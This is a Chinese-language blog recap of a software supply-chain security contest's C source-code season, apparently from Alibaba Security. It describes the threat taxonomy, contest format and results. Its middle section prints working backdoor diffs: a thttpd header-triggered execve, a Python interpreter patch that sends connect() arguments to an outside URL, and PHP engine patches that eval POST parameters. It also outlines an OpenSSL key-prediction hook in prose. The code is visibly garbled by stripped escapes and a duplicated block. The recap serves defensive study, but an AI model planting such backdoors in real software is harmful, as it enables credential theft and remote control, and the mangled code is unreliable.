『功守道』软件供应链安全大赛·C源代码赛季启示录

背景

软件供应链安全,这可以说是一个新近的人造的概念热词。泛泛来讲,如今的软件系统中任何一方都不是孤立的;套用到企业的场景,就有了供应链的概念。

以典型互联网企业为例。线上生产环境所依赖的操所系统,配套的基础软件,是最基础设施,这方面RedHat、Linux的开源生态、Oracle等底层平台供应者是供应链上游,企业是下游;而每个企业都有大量的PC端、移动端等通过各式渠道分发的客户端软件,很多企业近些年开始有对开源界的贡献,这些软件、代码运行在终端设备上,这里企业是上游,客户是下游。类似的二元关系可以用来定义如今这个行业的所有链路。

没有一条链路,是我们能够自信完整掌控的;对此的隐忧,在之前或许只是杞人忧天,但如今却已真实来到面前。且看外部关注点,面对过去两年事件频发的看似独立的情况,在RSA上已经将软件供应链安全作为问题抛出。孤立的事件我们总可以依靠事件响应来应对,这样至少我们不会比别人更容易成为众矢之的;但沿着这个思路考虑下去,我们还能不能相信RedHat、开源社区的那些作为基石的操作系统环境?能不能相信大量存在的Java三方包?能不能相信每个员工工作电脑上安装每一个任意渠道而来的软件?甚至于在互联网快速迭代的大环境下,那些开发者们从GitHub上借鉴来的代码是不是被埋入了源码级的特洛伊木马?

这一切都未知。隐患其实已经发展成了何种真实风险,未知。最致命的是问题完全发散,任何针对已知来收敛问题的尝试都很可笑。没有任何一方在此中有任何优势。谁先捅开这个庞杂问题,都无异于打开潘多拉的盒子。

但盒子总会被打开;看热闹甚至先在软件供应链整体崩坏进程中闷声作大死的,都将自食其果;而阿里安全,就决定做这样的角色,振臂高呼让大家知道黑盒子里的可能有多么可怕的恶魔,然后在纠集起防护力量的同时,慢慢地打开盒子。

C源码赛季:混沌初开

『功守道』软件供应链安全大赛·C源代码赛季启示录_第1张图片

作为最先掌握对这个问题进行定义话语权的一方,阿里安全有责任登足够高,望足够远。结合我们的思考,将软件供应链安全的庞大、混沌虚空,划分为“软件供应链生产者”与“软件供应链消费者”的两仪乾坤,并抽象出“四象”战场:C源代码,Java源代码,PE二进制,APK二进制。其中事关企业最生死攸关的三个场景——生产线上环境、产品开发生态、办公终端设备,我们选取对应的C源代码、Java源代码、PE二进制,设计了本次首届软件供应链安全比赛。

作为头阵,需要紧盯最攸关生死的角度,因此设计为C源代码赛季,背景场景围绕生产系统环境展开。诚然,我们不能仅仅从已经发生过的安全事件上谨慎地延展出问题域,但试图一步到位定义完整的未知威胁,又容易让人对威胁的真实性产生质疑。而恰逢发稿前,一例新鲜出炉的安全事件,“后知后觉”地向大家证明了问题的严峻,这事件是在Gentoo Linux发行版的GitHub代码仓库上爆出的(完整信息和进展请见官方页面Github/2018-06-28):

身份未知的黑客获取了Gentoo组织GitHub的控制权,移除了Gentoo开发者的权限,并对代码仓库内容作了大量篡改,其中最主要的恶意行为是替换恶意ebuild文件,以试图删除目标系统所有文件。Gentoo组织的GitHub被短暂冻结,在清除了已知被入侵的时间段内提交的代码后重新开放。

暂且不论该事件中恶意攻击者是否可能有更隐蔽的攻击方式、实践中Gentoo官方处理是否可能有所遗漏,仅仅该事件关键点本身,即可作为一种全新的威胁类型。从一开始我们对比赛第一个赛季的设计场景,即恰好抽象、覆盖了这样的情形:

考虑一个私有的软件仓库,包含有二百余个Linux基础组件的代码项目,由所有者组织维护并存在大量二次开发。仓库历史上可能存在被蓄意入侵并成功隐藏,或存在可绕过的代码提交机制甚至内鬼,导致代码被蓄意投毒污染,植入有后门的可能。

比赛中,由出题方提供大量已知后门类恶意代码,巧妙混入载体开源代码中;解题方自行探索、归纳恶意行为的知识,并利用现有或针对性开发的静态代码扫描引擎,予以排查。

define:对可能的场景与威胁进行定义

仅仅定义了战场还不够。如前文所述,软件供应链安全的风险,无论是攻击面还是攻击方式,是完全发散的,真正的威胁永远来自未知。但完全天马行空,作为比赛无法进行,需要我们给定一个全局框架,划定攻防活动的范围,以及潜在可能的打击方式,供出题者(攻击方)穷尽这个空间内所有可能的攻击向量;进而,对应的解题方(防守方)才有迹可循,针对部分已知类型训练对更大未知威胁的应对方式:无论是自行扩充专家经验知识库,还是基于行为自动学习的人工智能方案。

恶意行为范畴定义

C赛季最终共实施3场分站赛。为了比赛当中,攻防双方逐步对抗升级,我们将比赛对于系统与基础软件代码的恶意行为嵌入检测,在恶意行为维度,按照行为组成,划分为如下三类,分别对应三场比赛:

  • 5月19日第一场分站赛为单点恶意行为对抗。题目覆盖所有考点清单的恶意行为类型中,全部仅“单点即恶意”类型特征。例如,部分系统和应用的数据文件与配置文件,仅应当由特定的应用,或程序经由特定的API合法访问,直接访问这些文件即为足够判定非法。
  • 6月2日第二场分站赛为二阶段恶意行为对抗。题目覆盖清单中,全部仅可以描述为二阶段联合的恶意行为,即从时间上看,可分为时序上的“上游行为”和“下游行为”。上下游行为之间一般应具有数据相关性,且数据相关性本身可作为出题点(如诱导误报)的一部分考虑。
  • 6月23日第三场分站赛为复合(多阶段与开放性)恶意行为对抗。题目侧重于不在之前两场分站赛所覆盖的范围内的题目,如需要更多阶段联合组成的恶意行为的定义与检测。更重要的是,本轮中添加了一部分进阶题目,即恶意代码充分结合载体的已有功能、API调用等进行混淆,并更结合载体代码逻辑完成恶意行为。

在以上定义之下,我们给出了如下的允许(基础)恶意行为分类清单,作为比赛对抗当中的基本设计原则。同时这些也是我们认为的潜在危害最大、存在可能性最高、扫描检出可行性最大的部分。标注为单点确定性恶意行为,*标注为二阶段恶意行为中的上游或下游行为,#标注为复合恶意行为。显然有该三类行为,前者自动为后者成员。

  • 敏感信息异常采集。针对生产环境,最大的威胁不是造成应用执行异常,而是在无形中泄漏关键敏感数据,包括可能造成机器控制权丧失的系统相关配置数据,关键的应用存储的用户数据等,包括:

o 口令与秘钥类型文件直接操作 *

o 系统敏感配置文件绕过API直接读取 *

o 典型服务端应用敏感配置文件直接读取 *

o 系统账户操作历史相关信息读取 **

o 典型服务端应用管理账户和用户数据读取 **

o 系统一般描述性信息采集 **

o 软件供应链上游特定资源数据探测、获取和泄漏(如源码遍历泄漏) #

  • 关键数据篡改。任何需要在生产环境上,修改、写入数据或代码从而实现恶意打击的行为,我们统一归纳到这一类里面,较为泛化,主要包括:

o 覆盖、篡改或插入口令秘钥类型文件用以账户植入 *

o 系统、用户环境变量和关键配置文件修改 **

o 自动执行脚本/用户操作历史篡改 **

o 典型服务端应用配置文件和关键数据文件绕过API方式篡改 *

o 系统/典型应用重要位置的脚本/可执行文件置换 **

o 开发、测试等环境系统默认工具链篡改替换 *

o 开发、测试等环境特定类型源文件/资源文件篡改污染 #

  • 不可信数据传入渠道。以上两者重点考察了隐形的软件供应链本地恶意行为。在涉及到网络和交互的场景下,通过从供应链上进行污染,一种比较直接且有持续后效的恶意行为就是撕开一个口子,供后续入侵进场,包括:

o 下载敏感类型文件到临时目录 **

o 关键可执行文件(系统应用/关键服务端应用/关键库)下载/释放 **

o 网络传入指令/地址类型数据且无校验执行/访问 *

  • 不可信信息外传渠道。对应于上面的传入。敏感数据的采集后,需要搭配对应的下游传出才能形成完整恶意行为链路,常规可能的渠道形式分为两类:

o 上游数据未脱敏形式的网络传出(TCP/UDP/ICMP) **

o 上游数据未脱敏形式的本地确定位置落盘 **

  • 其它典型木马后门行为。在上述行为框架之外,在生产环境上具有非单纯破坏效果的恶意行为,划分为此类,包括但不限于:

o 键盘hook等输入监控行为 *

o 网络劫持行为 *

o 全局挂钩注入行为 **

o 远程控制 #

假定目标应用环境定义

以上所列的无差别软件供应链潜在攻击面,除Linux系统基础软件和应用之外,本次比赛还将若干类企业典型生产环境、开发测试集成环境的主流应用纳入到考察范围内;为了将发散的潜在威胁源头收敛、保证攻守方在比赛框架下的对等,比赛限定在以下假定的目标应用类型和实例。

重点需要强调的概念是,在作为软件供应链污染可以达成的恶意攻击,污染者与攻击面是两个独立的范畴:攻击者完全可以将恶意行为污染嵌入到一个基础软件中,实现对另外一套系统的打击。以下应用环境,并非是指在这些基础应用自身代码中进行污染;而是指在应用代码中插入代码、以这些服务端基础应用攻击面为对象的恶意行为。

  • 软件供应链消费端

o web服务器应用: Apache,Nginx,Tomcat

o 数据存储类应用

  • SQL数据库:MySQL,PostgreSQL
  • NoSQL:Redis,Memcache

o 加密与认证中间件:OpenSSL

o 云服务基础设施:Docker,virsh

  • 软件供应链生产端

o 代码仓库:GitLab,Subversion

o 代码审查与缺陷管理:Gerrit,JIRA

o 持续集成、构建:Travis,Jenkins

o 持续发布、部署:Ansible,Puppet

形式与内容

整个比赛设置的基本形式是国内前所未有的攻防模式。通过对外公开招募,形成了具有红蓝对抗关系的两支队伍:出题队(蓝军)与解题队(红军)。

蓝军由高校CTF战队、业界安全公司、互联网企业安全团队等不同背景人员分别组队,共5支,出于保护目的,暂时不公开这些队伍的具体身份。蓝军在我们限定的攻击面和恶意行为类型的粗放范畴之下,尽可能释放脑洞,从多种角度和维度,编写包含有恶意行为的代码片段,并将这些恶意代码片段插入到随机或选定的开源基础软件项目代码中。

红军主要由源代码安全扫描专业的公司、高校研究团队、高校CTF战队背景人员组队而来,实际参与比赛的约8到13支队伍。比赛中守方可使用任何方案,对拿到的一组题目进行分析,从近乎海量的代码当中定位到嵌入并巧妙隐藏的恶意代码片段。最主流、被提倡的方案为基于语法语义的白盒源码扫描,需要参赛队具有相关技术沉淀及工具研发成果与能力,并针对我们前期释放出的恶意行为考察范畴,自行补充专家知识库,定制扫描规则和方案。

当然仍需要说明的是,这些题目本身的合理性,是建立于这些恶意代码在庞大而开放的开源软件领域存在的可能性。而这些代码的引入有很多可能的渠道:恶意的上游代码贡献者蓄意引入;攻击者在对上游开发环境甚至源码仓库入侵后巧妙隐藏了痕迹的源码污染;在私有源上对基础软件二次开发过程中的内鬼作祟,等等。相比之下,前文提到的Gentoo GitHub入侵篡改时间只能算作一次略显仓促的污染试水。这些渠道不在我们设计场景的考虑范围内,只需要知道这些情况的可能性,即可以意识到这些问题的严峻程度。

困兽:经典赛题示例

『功守道』软件供应链安全大赛·C源代码赛季启示录_第2张图片
本节将从三轮共计约600道题目中,选取若干道(组)最具有代表性、新颖性甚至让人不寒而栗的题目,来展示出题队攻击思维的冰山一角。

在此需要特别强调:本文中所列举的所有恶意代码,仅用于彰显那些当前有安全人员可能想到的恶意行为;考虑到真正的威胁永远源于未知,这些题目所搭载的恶意行为类型,实质上在曝光的同时就已经失去最大威胁,但由于信息不对等,在真实场景仍然可能会被利用。所以所有读者需要在阅读同时,需要保证绝不会将这里的思路,以及由此延展出的思维用于真实场景。

1:thttpd后门陷阱

从基础软件或应用上面入手,稳定可控的后门是最佳选择。而在一个无关应用中突兀地出现网络连接,隐蔽性总归很差;在thttpd当中,以很袖珍的代码实现稳定的后门,是这里首先要呈现的一个题目。

在thttpd项目,恶意代码嵌入到libhttpd.c文件中,上下游恶意代码相关上下文:

* /thttpd/libhttpd.c

--- malware/libhttpd.c

httpd_parse_request( httpd_conn hc )

2102,2107 *

--- 2102,2113 ----

cp += strspn( cp, " t" );

hc->useragent = cp;

}

  • else if ( strncasecmp( buf, "TE:", 3 ) == 0)
  • {
  • cp = &buf[3];
  • cp += strspn( cp, " t");
  • hc->hs->cgi_pattern = cp;
  • }

else if ( strncasecmp( buf, "Host:", 5 ) == 0 )

{

cp = &buf[5];

cgi_child( httpd_conn hc )

3560,3565 *

--- 3566,3576 ----

endif / HAVE_SIGSET /

/ Run the program. /

  • if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 )
  • {
  • binary = argp[1];
  • argp++;
  • }

(void) execve( binary, argp, envp );

/ Something went wrong. /

后门会根据http头判断是否开启cgi功能,并根据http头Accept-Language决定解析执行文件的路径。上述代码段中,首先通过http头TE:设置开启cgi功能(对应上述代码中,httpd_parse_request函数中插入的else if ( strncasecmp( buf, "TE:", 3 ) == 0) {...}代码块)。而下游代码同样巧妙,指定特殊的Accept-Language: en;q=1.1决定是否执行指定的系统命令(即cgi_child函数插入的if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 ) {...}代码块)。

本例恶意行为的主要特点:

  • 该后门的嵌入,新增代码量极小(共7行),巧妙借用了thttpd处理用户请求、cgi的原本逻辑,借用了execve的调用,没有任何新增的API调用等行为,可以躲避有意识的行为特征匹配检测。
  • 该后门在代码中的插入,分布在了存在逻辑关联的上下游两个位置,在源代码分析领域,属于过程间代码扫描问题,对于基于语义的源代码静态扫描方案也提出了很高的要求。

2:Python上帝之手

对生产环境上运行的任意程序获取控制、检查、按需泄漏的权力,很难做的轻量、了无痕迹,总会有鲜明的行为特征被人察觉;但是针对解释执行类型的语言,只需要在解释器上稍动手脚,就可以实现四两拨千斤的效果。本次比赛有两只出题队不约而同地采用了这个思路,分别在Python和Lua解释器上实现了巧妙的污染来实现非破坏性的定向攻击,此处以Python为例展示。

恶意行为完整代码,嵌入到了Python/symtable.c文件中的多个位置,完整的新增内容如下:

* /Python3.6.6rc1/Python/symtable.c

--- malware/symtable.c


4,9 *

--- 4,16 ----

include "symtable.h"

include "structmember.h"

  • static int PyArglen;
  • static int PyCurpos;
  • define PyMaxpos 512

  • static char PyBuffer[PyMaxpos];
  • static int
  • symtable_visit_Dynamic(struct symtable *st, expr_ty e);

+

/ error strings used for warnings /

define GLOBAL_AFTER_ASSIGN \

"name '%U' is assigned to before global declaration"

symtable_visit_stmt(struct symtable st,

1386,1391 *

--- 1393,1403 ----

static int

symtable_visit_expr(struct symtable *st, expr_ty e)

{

  • PyObject s, n;

+

  • int iN , iNN[4];
  • char cS , tS;

+

if (++st->recursion_depth > st->recursion_limit) {

PyErr_SetString(PyExc_RecursionError,

"maximum recursion depth exceeded during compilation");

symtable_visit_expr(struct symtable st,

1465,1470 *

--- 1477,1489 ----

VISIT_SEQ(st, expr, e->v.Compare.comparators);

break;

case Call_kind:

  • if (e->v.Call.func->kind == Name_kind)
  • {
  • if (_PyUnicode_EqualToASCIIString(e->v.Call.func->v.Name.id, "connect"))
  • {
  • PyArglen = e->v.Call.args->size;
  • }
  • }

VISIT(st, expr, e->v.Call.func);

VISIT_SEQ(st, expr, e->v.Call.args);

VISIT_SEQ_WITH_NULL(st, keyword, e->v.Call.keywords);

symtable_visit_expr(struct symtable st,

1478,1485 *

--- 1497,1532 ----

VISIT_SEQ(st, expr, e->v.JoinedStr.values);

break;

case Constant_kind:

  • break;

case Num_kind:

  • if (PyArglen > 0)
  • {
  • n = e->v.Num.n;
  • iN = PyLong_AsLong(n);
  • sprintf(iNN,"%d",iN);
  • if (PyCurpos + strlen(iNN) < PyMaxpos - 1)
  • {
  • memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));
  • PyCurpos += strlen(iNN);
  • PyBuffer[PyCurpos++] = '|';
  • }
  • PyArglen--;
  • }
  • break;

case Str_kind:

  • if (PyArglen > 0)
  • {
  • n = e->v.Num.n;
  • iN = PyLong_AsLong(n);
  • sprintf(iNN,"%d",iN);
  • if (PyCurpos + strlen(iNN) < PyMaxpos - 1)
  • {
  • memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));
  • PyCurpos += strlen(iNN);
  • PyBuffer[PyCurpos++] = '|';
  • }
  • PyArglen--;
  • }
  • break;

case Str_kind:

  • if (PyArglen > 0)
  • {
  • s = e->v.Str.s;
  • cS = PyUnicode_DATA(s);
  • if (PyCurpos + strlen(cS) < PyMaxpos - 1)
  • {
  • memcpy(PyBuffer + PyCurpos, cS, strlen(cS));
  • PyCurpos += strlen(cS);
  • PyBuffer[PyCurpos++] = '|';
  • }
  • PyArglen--;
  • }
  • break;

case Bytes_kind:

case Ellipsis_kind:

case NameConstant_kind:

symtable_visit_expr(struct symtable st,

1517,1522 *

--- 1565,1578 ----

VISIT_SEQ(st, expr, e->v.Tuple.elts);

break;

}

+

  • if (PyArglen == 0 && PyCurpos > 0)
  • {
  • PyCurpos = 0;
  • symtable_visit_Dynamic(st, e);
  • memset(PyBuffer, 0, PyMaxpos);
  • }

+

VISIT_QUIT(st, 1);

}

* symtable_visit_dictcomp(struct symtable

1787,1789 *

--- 1843,1861 ----

e->v.DictComp.key,

e->v.DictComp.value);

}

+

  • static int
  • symtable_visit_Dynamic(struct symtable *st, expr_ty e)
  • {
  • const char *PyMod = {
  • "try:n"
  • " from urllib import parse,requestn"
  • " urltxt = parse.urlencode({'pymod':'%s'})n"
  • " url='https://www.pythondevorg.org/dev' + '?' + urltxtn"
  • " res = request.urlopen(request.Request(url = url))n"
  • "except Exception as e:n"
  • " pass"
  • };
  • PyRun_SimpleStringFlags(PyUnicode_DATA(PyUnicode_FromFormat(PyMod, PyBuffer)), NULL);
  • return 0;
  • }

Python应用代码中常见地通过定义一个名为connect函数,传入hostportuserpwd或者协议字符串进行服务请求,如ssh或数据库连接,所以,在这个攻击题目实例中,在Python解释器源代码层面进行污染篡改,实现偷取名为connect函数调用时这些敏感参数。

实现逻辑如下: 1. 在Python表达式语法树遍历过程中,判断方法表达式Call_kind名称是否为connect,是的话进行标记,之后偷参数; 2. 取出该函数的参数个数,并且截取该函数传入的数字、字符串参数保存起来; 3. 当表达式语法树遍历结束后,利用事先准备好的Python源码模板,格式化得到完整Python代码; 4. 动态注入Python代码执行后续传出操作,使用项目原生PyRun_SimpleStringFlags函数。

在这个示例中,邪恶点在两方面最为突出:

  • 恶意行为的嵌入基于对载体(Python)的充分了解,充分利用载体自有的逻辑和API功能来实现完整的攻击行为,由此具有对人工审核和工具检测的绕过能力;
  • 目标出其不意,具有极强的针对性,从源代码层面下手,一方面在此思路上可以扩展出来的其它攻击目标和方式很多,另一方面使得独立于载体的攻击代码(如数据泄漏传出)可以很自然地得以执行。

3:php双子

接下来呈现的是两道独立的题目。在规则确保不同出题队完全互不通气、思路保密的前提下,两支出题队伍不约而同地选取了php作为攻击目标载体;但是切入点、攻击方式、实现效果又完全不同,充分体现了在软件供应链安全这个范畴内,问题的发散和多样性。

恶意php1

其中的一道题目简单直接,在引擎层面动手脚,恶意代码注入在main/main.c文件中:

* php-src/main/main.c

--- malware/main.c

* PHPAPI int php_stream_open_for_zend_ex(c

1388,1397 *

&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD

endif

&& php_stream_mmap_possible(stream)

! && (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_SHARED_READONLY, &mapped_len)) != NULL) {

handle->handle.stream.closer = php_zend_stream_mmap_closer;

handle->handle.stream.mmap.buf = p;

! handle->handle.stream.mmap.len = mapped_len;

handle->type = ZEND_HANDLE_MAPPED;

} else {

handle->handle.stream.closer = php_zend_stream_closer;

--- 1388,1405 ----

&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD

endif

&& php_stream_mmap_possible(stream)

! && (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_READWRITE, &mapped_len)) != NULL) {

!

! char* data = "x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx27x32x6cx69x76x65x27x5dx29x3bx20x3fx3ex0a";

! int data_len = strlen(data);

! int i = len;

! for (; i > -1 ; i --) {

! p[i + data_len] = p[i];

! }

! memcpy(p, data, data_len);

handle->handle.stream.closer = php_zend_stream_mmap_closer;

handle->handle.stream.mmap.buf = p;

! handle->handle.stream.mmap.len = data_len + len;//mapped_len;

handle->type = ZEND_HANDLE_MAPPED;

} else {

handle->handle.stream.closer = php_zend_stream_closer;

在php脚本被加载到内存之后,zend引擎解析php脚本之前,修改php源码中代码设置mmap内存的属性为可写,然后篡改内存中的脚本代码,在脚本第一行插入一个一句话木马,POST的key是2live。

恶意php2

另一道思路剑走偏锋,切入点选择在了官方默认扩展date中,处在文件ext/date/php_date.c:

* ext/date/php_date.c

--- malware/php_date.c

static void _php_date_tzinfo_dtor(zval

708,713 *

--- 708,716 ----

/ {{{ PHP_RINIT_FUNCTION /

PHP_RINIT_FUNCTION(date)

{

  • zval *p;
  • zval *bd;

+

if (DATEG(timezone)) {

efree(DATEG(timezone));

}

* PHP_RINIT_FUNCTION(date)

715,720 *

--- 718,739 ----

DATEG(tzcache) = NULL;

DATEG(last_errors) = NULL;

  • zend_is_auto_global_str("x5fx50x4fx53x54", sizeof("x5fx50x4fx53x54") - 1);

+

  • p = zend_hash_str_find(&EG(symbol_table), ZEND_STRL("x5fx50x4fx53x54"));
  • if (p == NULL || Z_TYPE_P(p) != IS_ARRAY) {
  • return SUCCESS;
  • }

+

  • bd = zend_hash_str_find(Z_ARRVAL_P(p), ZEND_STRL("x62x34x64x30x30x72"));
  • if (bd == NULL) {
  • return SUCCESS;
  • }

+

  • if (Z_TYPE_P(bd) == IS_STRING) {
  • zend_eval_string(Z_STRVAL_P(bd), NULL, (char *)"" TSRMLS_CC);
  • }

+

return SUCCESS;

}

/ }}} /

部署后,若HTTP POST请求参数中存在“b4d00r”,用PHP内核的zend_eval_string函数执行b4d00r中的代码。这样的后门类型更难以被日常监控检测到;更重要的是,这里代表了一个类型的攻击面,即各类应用框架下的插件体系:对于支持第三方贡献插件的部分主流系统,部分仍然存在有完全开放、缺乏审查或开发者鉴权的问题,这留下了很大的做文章的空间。

4:全面战争

以上我们列举了针对生产环境上,主流服务端应用的本体进行污染、篡改和攻击的几个实例。这可能给读者留下这样的印象:虽然恶意代码本身会通过融入原有代码逻辑、调用项目自有API等方式来实现自身的隐蔽,但对于这些关键应用进行细致的审核检查,甚至于人工分析,只要其源码是可用的,那么总能够保证这些应用的可信。可惜,这样的乐观,不存在的。

在系统和所有基础软件都来源于不完全可信来源(没错,即便是开源软件贡献者也不能称为可信,没有人是天使)的假设下,对特定服务端应用的污染、窃取、篡改和攻击,完全可以从任意方面发起。以下不列举相关恶意代码和上下文,简单列举几个这样的实例:

  • 通过在一个系统基础组件krb5当中,插入恶意代码实现IAT HOOK,针对OpenSSL系统组件,在目标调用栈环境中,劫持BN_rand方法使得生成的伪随机数恒固定为特定数值,且使得EC_KEY_generate_key方法与DH_generate_key方法生成始终可预测的椭圆曲线密钥;这样进而达到OpenSSH的服务端sshd在接受客户端ssh连接时,握手密钥可掌握,从而能够直接获取会话密钥,辅以其它简单的方案,就能够使得所谓加密信道的数据完全可被监听泄漏。
  • 针对处于后台的开发编译机器环境。先判断是否是真机Android源码编译开发环境,如果是虚拟机不执行恶意代码,如果是真机,监听本地端口下载编译工具,进行编译链工具或开发标准库的替换,从而实现在源头进行软件供应链上游的持续、全面污染。
  • 在任何可能存在目录遍历、文件操作的载体代码上下文中,搭车进行特定资产类型文件的遍历搜索,如特定的代码、文档、数据库类型文件,账户秘钥和系统信息相关的配置文件,特定服务端应用(如Nginx,git等,见上一节中所列举的目标攻击面服务端应用列表)的关键配置和数据文件等,并予以外传。

以上类型不胜枚举,且均具有两个特征:功能实现代码体量很小,方便隐藏;对载体项目上下文基本不挑剔,所以可以嵌入到任何有被执行条件的开源载体工程中。这些行为甚至可以是看上去“很low”的行为,即便不针对源代码扫描的各种方案进行有目的性的反检测,一旦混入庞杂的开源项目代码中,就完全无从分析——毕竟若假定全部基础软件和组件都不可信的话,那么即便是针对少数几种已知的恶意行为类型,使用源代码扫描工具编写特定的检测规则、全量扫描,也是一件很难保证高准确率、低误报率的工作,更何况请不要忘记在第一篇文章中我们提出的前提:最致命的是问题完全发散,任何针对已有知识来收敛问题的尝试都很可笑。

功守:面对虚无的对抗

『功守道』软件供应链安全大赛·C源代码赛季启示录_第3张图片

安全行业从来不是一个攻守双方旗鼓相当的领域,攻击技巧相对于防守体系而言始终拥有很大的杠杆。从这一角度讲,本次比赛中思路夺人的蓝军固然是明星,而参与解题的红军破题者,更是代表出路和希望。

从最终结果来看,按客观评价百分制,三轮分站赛加权求总分,前五强队伍得分分布如下:

『功守道』软件供应链安全大赛·C源代码赛季启示录_第4张图片

整体而言,通过后台对各个参赛队提交答案的规律统计和分析,这样的解题结果超出预期,又引人思考:

  • 研究方向覆盖静态源代码分析的高校与科研机构,在比赛公布考察范围后能够迅速构建起响应的知识库,过程中始终领跑全场比赛,并获得了及格线以上分数。作为源码分析的解决方案,即便是针对非软件供应链后门类型的其它新问题门类,考虑到普遍较高的误报率等固有问题,这样的分数足以判定为优秀。
  • 在校学生与感兴趣的个人参赛者,在不具备充分的背景和资源的前提下,仍然获得了1/3以上题目分数。通过对提交历史的分析,我们初步判断这几支队伍在初期尝试进行人工分析积累经验后,也针对这一类问题进行了工具自动化发掘的实践,这达到了我们“启发业界思考”的初衷。
  • 尽管如此,在第三轮所设置的进阶题目(具有更强的安全背景考察,逻辑隐蔽性更强;形式上多采用跨函数、跨过程的代码插入方案)面前,所有队伍均无抢眼表现,这似乎表明软件工程方法论与安全知识的结合努力仍有空间,这也是长远看的发力点。

想必业界对于这些参赛队伍的思路、工具和成果,都有着浓厚的兴趣。此处先卖个关子:这些红军队伍的思路,我们将在8月22日的北京,阿里巴巴2018网络安全生态峰会的分论坛——软件供应链大赛研讨会暨决赛阶段启动仪式上,邀请这些胜出队伍代表进行分享,敬请期待!

未来已来:PE二进制赛季开战

至此,我们完整的『功守道』软件供应链安全大赛,在预选赛阶段,刚刚完成约1/3。大赛完整的时间线如下图所示;而其中从7月开始,我们将马上实施大赛第二赛季——Windows PE二进制程序赛季(简称PE赛季)。

『功守道』软件供应链安全大赛·C源代码赛季启示录_第5张图片

相比C源代码的攻防,PE二进制上面的安全风险与对抗,历史安全事件更多、更触目惊心,不论是XShell污染,还是CCleaner投毒,抑或针对集成开发环境插件生态的污染,都是领域内耳熟能详,却又缺乏系统性关联分析的热点,也更能够起安全从业者和爱好者的兴趣。针对这些繁杂的事件,我们对主要风险做了抽象,该赛季由此设置场景如下:

IT企业员工工作电脑环境复杂且无法收口:安装软件来源往往跳出白名单,而鱼龙混杂的下载服务往往包藏祸心;遑论即便是开放软件的提供商,也可能存在被入侵并在二进制文件层面植入恶意代码的情形,导致潜在的官方不可信,亟需二进制审查,或源码-二进制等价证明。

对于给定的二进制文件,你将采用静态还是动态的方法去扫描或测试?针对对照组是否有能力通过同源性判断察觉异样?这是道开放题目。

在这个更贴近每个互联网企业从业者实际,符合安全圈从业者的兴趣口味的题目设计赛季,我们将期望能够收获更广泛的关注、影响力,更多让人拍案叫绝的恶意代码攻击思路,以及更让人叹为观止的防守者解题方案。这里欢迎所有安全技术兴趣者持续关注到该赛季的过程中;也希望对于比赛的赛制形式和细节有见解建议的同学能够协助我们将比赛的价值发挥到极致。

PE赛季的基础概念题目,请到这里下载。更多比赛相关概念题目、信息和动态,欢迎访问比赛官网(https://softsec.security.alibaba.com/)了解,或扫描下方二维码加入群组,与来自阿里安全和该领域其它玩家一起切磋。PE赛季本周开赛,7月7日测试赛,7月21日第一场分站赛,报名通道保持开启,只等你来!
『功守道』软件供应链安全大赛·C源代码赛季启示录_第6张图片

你可能感兴趣的:(python,php,java)